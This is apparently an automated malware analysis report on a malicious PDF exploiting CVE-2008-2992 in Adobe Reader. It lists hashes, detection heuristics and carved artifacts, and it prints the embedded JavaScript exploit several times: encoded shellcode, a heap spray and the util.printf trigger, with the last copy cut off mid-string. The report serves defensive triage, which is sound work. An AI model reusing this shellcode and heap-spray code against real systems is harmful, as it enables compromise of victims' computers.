Malicious PDF — malware analysis report

Static analysis result for SHA-256 cca51c16cd271a58…

MALICIOUS

PDF

4.3 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 66dd8ff33af2d617b6337d73bd851692 SHA-1: 22d4cf7c861bdc35582787d78147956beb4fc6e8 SHA-256: cca51c16cd271a58e12ddd9223d96ba789b6e0d0858d7c216e762d233cdee360
328 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The JavaScript stream, named 'javascript_obj0013_001.js', is likely responsible for malicious activity. The presence of an unescape() call suggests obfuscation, common in malicious scripts. The script's purpose is inferred to be the execution of arbitrary code, potentially downloading a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913" +
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x3DC 2786 bytes
SHA-256: 8ac551514708e1095d803b4bbf55b564d01345ac13b0021873bf54afec1094b4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913" +
                         "%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B" +
                         "%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2" +
                         "%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F" +
                         "%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7" +
                         "%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB" +
                         "%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0" +
                         "%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7" +
                         "%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605" +
                         "%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D" +
                         "%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C" +
                         "%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844" +
                         "%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193" +
                         "%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4" +
                         "%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93" +
                         "%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297" +
                         "%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883" +
                         "%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1" +
                         "%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD" +
                         "%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC" +
                         "%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD" +
                         "%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA" +
                         "%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D" +
                         "%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30" +
                         "%u6695%u103C%u79D7%u0435%u0979%u745D");
						 
var QtSX7FFMO5Yh=unescape("%u0"+"A0A%u"+"0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45"+"000f",gipW5Eb);
javascript_obj0013_002.js pdf-javascript-stream PDF /JS object 13 at offset 0x402 3422 bytes
SHA-256: 8d001f91037c049d102f858a35723154f3764240eaba33462ad689f14fa213e0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913" +
                         "%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B" +
                         "%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2" +
                         "%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F" +
                         "%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7" +
                         "%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB" +
                         "%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0" +
                         "%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7" +
                         "%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605" +
                         "%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D" +
                         "%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C" +
                         "%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844" +
                         "%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193" +
                         "%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4" +
                         "%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93" +
                         "%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297" +
                         "%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883" +
                         "%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1" +
                         "%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD" +
                         "%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC" +
                         "%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD" +
                         "%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA" +
                         "%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D" +
                         "%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30" +
                         "%u6695%u103C%u79D7%u0435%u0979%u745D");
						 
var QtSX7FFMO5Yh=unescape("%u0"+"A0A%u"+"0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45"+"000f",gipW5Eb);
endstream
endobj
14 0 obj
<</Creator (Scribus 1.3.3.12)
/Title <>
/Producer (Scribus PDF Library 1.3.3.12)
/Author <>
/Keywords <>
/Trapped /False
/ModDate (D:20080806014227)
/CreationDate (D:20080806014227)
>>
endobj
xref
0 15
0000000000 65535 f 
0000000015 00000 n 
0000000264 00000 n 
0000000282 00000 n 
0000000327 00000 n 
0000000400 00000 n 
0000000431 00000 n 
0000000451 00000 n 
0000000490 00000 n 
0000000556 00000 n 
0000000734 00000 n 
0000000784 00000 n 
0000000865 00000 n 
0000000912 00000 n 
0000006893 00000 n 
trailer
<</Info 14 0 R
/Root 1 0 R
/Size 15
>>
startxref
7094
%%EOF
generic_stage_recovery_000.js deobfuscated-js generic stage recovery split-literal-normalize from JavaScript object 13 at offset 0x3DC 2033 bytes
SHA-256: 8d26f403512932909ea7199f0cb2ae3b1bd9eaa5026ae123f2466054839aa2ed
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30%u6695%u103C%u79D7%u0435%u0979%u745D");
						 
var QtSX7FFMO5Yh=unescape("%u0A0A%u0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f",gipW5Eb);
generic_stage_recovery_001.js deobfuscated-js generic stage recovery split-literal-normalize from JavaScript object 13 at offset 0x402 2669 bytes
SHA-256: 12963bd6dcfc1ec4b7629f5265eb842e9fa2097f7189f204a5846e84edc5b980
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30%u6695%u103C%u79D7%u0435%u0979%u745D");
						 
var QtSX7FFMO5Yh=unescape("%u0A0A%u0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f",gipW5Eb);
endstream
endobj
14 0 obj
<</Creator (Scribus 1.3.3.12)
/Title <>
/Producer (Scribus PDF Library 1.3.3.12)
/Author <>
/Keywords <>
/Trapped /False
/ModDate (D:20080806014227)
/CreationDate (D:20080806014227)
>>
endobj
xref
0 15
0000000000 65535 f 
0000000015 00000 n 
0000000264 00000 n 
0000000282 00000 n 
0000000327 00000 n 
0000000400 00000 n 
0000000431 00000 n 
0000000451 00000 n 
0000000490 00000 n 
0000000556 00000 n 
0000000734 00000 n 
0000000784 00000 n 
0000000865 00000 n 
0000000912 00000 n 
0000006893 00000 n 
trailer
<</Info 14 0 R
/Root 1 0 R
/Size 15
>>
startxref
7094
%%EOF
generic_stage_recovery_002.js deobfuscated-js generic stage recovery split-literal-normalize from combined JavaScript objects at offset 0x11 4723 bytes
SHA-256: 5796539373edb4da4eff109c5097652c9ebba184aba3238cb2d912a076bcfcec
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
this.lhF0pCJES29x()
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30%u6695%u103C%u79D7%u0435%u0979%u745D");
						 
var QtSX7FFMO5Yh=unescape("%u0A0A%u0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f",gipW5Eb);
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30%u6695%u103C%u79D7%u0435%u0979%u745D");
						 
var QtSX7FFMO5Yh=unescape("%u0A0A%u0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f",gipW5Eb);
endstream
endobj
14 0 obj
<</Creator (Scribus 1.3.3.12)
/Title <>
/Producer (Scribus PDF Library 1.3.3.12)
/Author <>
/Keywords <>
/Trapped /False
/ModDate (D:20080806014227)
/CreationDate (D:20080806014227)
>>
endobj
xref
0 15
0000000000 65535 f 
0000000015 00000 n 
0000000264 00000 n 
0000000282 00000 n 
0000000327 00000 n 
0000000400 00000 n 
0000000431 00000 n 
0000000451 00000 n 
0000000490 00000 n 
0000000556 00000 n 
0000000734 00000 n 
0000000784 00000 n 
0000000865 00000 n 
0000000912 00000 n 
0000006893 00000 n 
trailer
<</Info 14 0 R
/Root 1 0 R
/Size 15
>>
startxref
7094
%%EOF
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x11 6229 bytes
SHA-256: a152953d286852a697cff021f1c81cea7af4bf7f33e62fbea7b15ac89af6b52d
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
this.lhF0pCJES29x()
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913" +
                         "%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B" +
                         "%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2" +
                         "%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F" +
                         "%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7" +
                         "%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB" +
                         "%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0" +
                         "%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7" +
                         "%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605" +
                         "%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D" +
                         "%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C" +
                         "%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844" +
                         "%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193" +
                         "%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4" +
                         "%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93" +
                         "%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297" +
                         "%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883" +
                         "%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1" +
                         "%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD" +
                         "%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC" +
                         "%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD" +
                         "%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA" +
                         "%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D" +
                         "%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30" +
                         "%u6695%u103C%u79D7%u0435%u0979%u745D");
						 
var QtSX7FFMO5Yh=unescape("%u0"+"A0A%u"+"0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45"+"000f",gipW5Eb);
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913" +
                         "%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B" +
                         "%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2" +
                         "%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F" +
                         "%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7" +
                         "%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB" +
                         "%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0" +
                         "%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7" +
                         "%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605" +
